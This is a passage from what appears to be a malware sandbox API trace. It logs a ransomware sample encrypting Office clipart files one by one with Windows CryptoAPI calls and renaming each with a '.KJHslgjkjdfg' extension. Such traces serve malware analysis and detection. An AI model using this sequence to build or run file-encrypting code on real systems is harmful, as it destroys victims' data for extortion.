CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.093] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ca4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ca4, lpOverlapped=0x0) returned 1 [0232.095] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7cb0, dwBufLen=0x7cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7cb0) returned 1 [0232.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.095] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7cb0, lpOverlapped=0x0) returned 1 [0232.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.096] SetEndOfFile (hFile=0x130) returned 1 [0232.099] GetProcessHeap () returned 0x2ef0000 [0232.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.099] GetProcessHeap () returned 0x2ef0000 [0232.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.kjhslgjkjdfg")) returned 1 [0232.101] CloseHandle (hObject=0x130) returned 1 [0232.101] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0232.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.102] GetProcessHeap () returned 0x2ef0000 [0232.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.102] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.105] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.105] GetProcessHeap () returned 0x2ef0000 [0232.105] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.105] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.105] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.106] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.106] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.106] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf5c, lpOverlapped=0x0) returned 1 [0232.107] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf60, dwBufLen=0xf60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf60) returned 1 [0232.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.107] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf60, lpOverlapped=0x0) returned 1 [0232.107] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.107] SetEndOfFile (hFile=0x130) returned 1 [0232.110] GetProcessHeap () returned 0x2ef0000 [0232.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.110] GetProcessHeap () returned 0x2ef0000 [0232.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.kjhslgjkjdfg")) returned 1 [0232.112] CloseHandle (hObject=0x130) returned 1 [0232.112] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0232.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.114] GetProcessHeap () returned 0x2ef0000 [0232.114] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.114] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.117] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.117] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.117] GetProcessHeap () returned 0x2ef0000 [0232.117] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.117] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.117] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.117] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.118] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.118] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1dac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1dac, lpOverlapped=0x0) returned 1 [0232.119] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1db0) returned 1 [0232.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.120] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1db0, lpOverlapped=0x0) returned 1 [0232.120] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.120] SetEndOfFile (hFile=0x130) returned 1 [0232.123] GetProcessHeap () returned 0x2ef0000 [0232.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.123] GetProcessHeap () returned 0x2ef0000 [0232.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.kjhslgjkjdfg")) returned 1 [0232.125] CloseHandle (hObject=0x130) returned 1 [0232.125] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0232.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.127] GetProcessHeap () returned 0x2ef0000 [0232.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.127] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.129] GetProcessHeap () returned 0x2ef0000 [0232.129] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.130] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1268, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1268, lpOverlapped=0x0) returned 1 [0232.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270, dwBufLen=0x1270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270) returned 1 [0232.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.131] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1270, lpOverlapped=0x0) returned 1 [0232.131] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.131] SetEndOfFile (hFile=0x130) returned 1 [0232.133] GetProcessHeap () returned 0x2ef0000 [0232.133] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.133] GetProcessHeap () returned 0x2ef0000 [0232.133] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.kjhslgjkjdfg")) returned 1 [0232.135] CloseHandle (hObject=0x130) returned 1 [0232.135] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0232.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.137] GetProcessHeap () returned 0x2ef0000 [0232.137] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.137] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.137] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.137] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.137] GetProcessHeap () returned 0x2ef0000 [0232.137] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.137] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.137] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.137] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.140] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.140] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20e0, lpOverlapped=0x0) returned 1 [0232.142] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20e0, dwBufLen=0x20e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20e0) returned 1 [0232.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.142] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20e0, lpOverlapped=0x0) returned 1 